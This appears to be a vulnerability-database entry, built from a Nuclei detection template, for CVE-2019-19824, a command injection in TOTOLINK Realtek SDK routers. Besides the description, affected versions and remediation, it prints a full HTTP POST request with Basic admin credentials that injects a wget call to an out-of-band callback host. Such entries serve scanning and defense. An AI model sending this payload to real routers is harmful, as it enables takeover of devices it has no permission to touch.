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CVE-2019-19824: TOTOLINK Realtek SD Routers - Remote Command Injection

TitleTOTOLINK Realtek SD Routers - Remote Command Injection
Authorgy741
SeverityHigh
ImpactSuccessful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
RemediationApply the latest firmware update provided by the vendor to fix the vulnerability.
CVSS Score8.8
EPSS Score0.90206
CVE IDCVE-2019-19824
CWE IDCWE-78
Tags cve cve2019 totolink rce router vkev vuln

🔍 Vulnerability Description

TOTOLINK Realtek SDK based routers may allow an authenticated attacker to execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device’s internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and N100RE through 3.4.0.

🌐 HTTP Request

POST /boafrm/formSysCmd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15
Connection: close
Content-Length: 140
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

submit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd=wget+http://d5jpf21le0o12d05qk2gf3ofdo6b9j78i.oast.pro

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-19824.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-19824.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A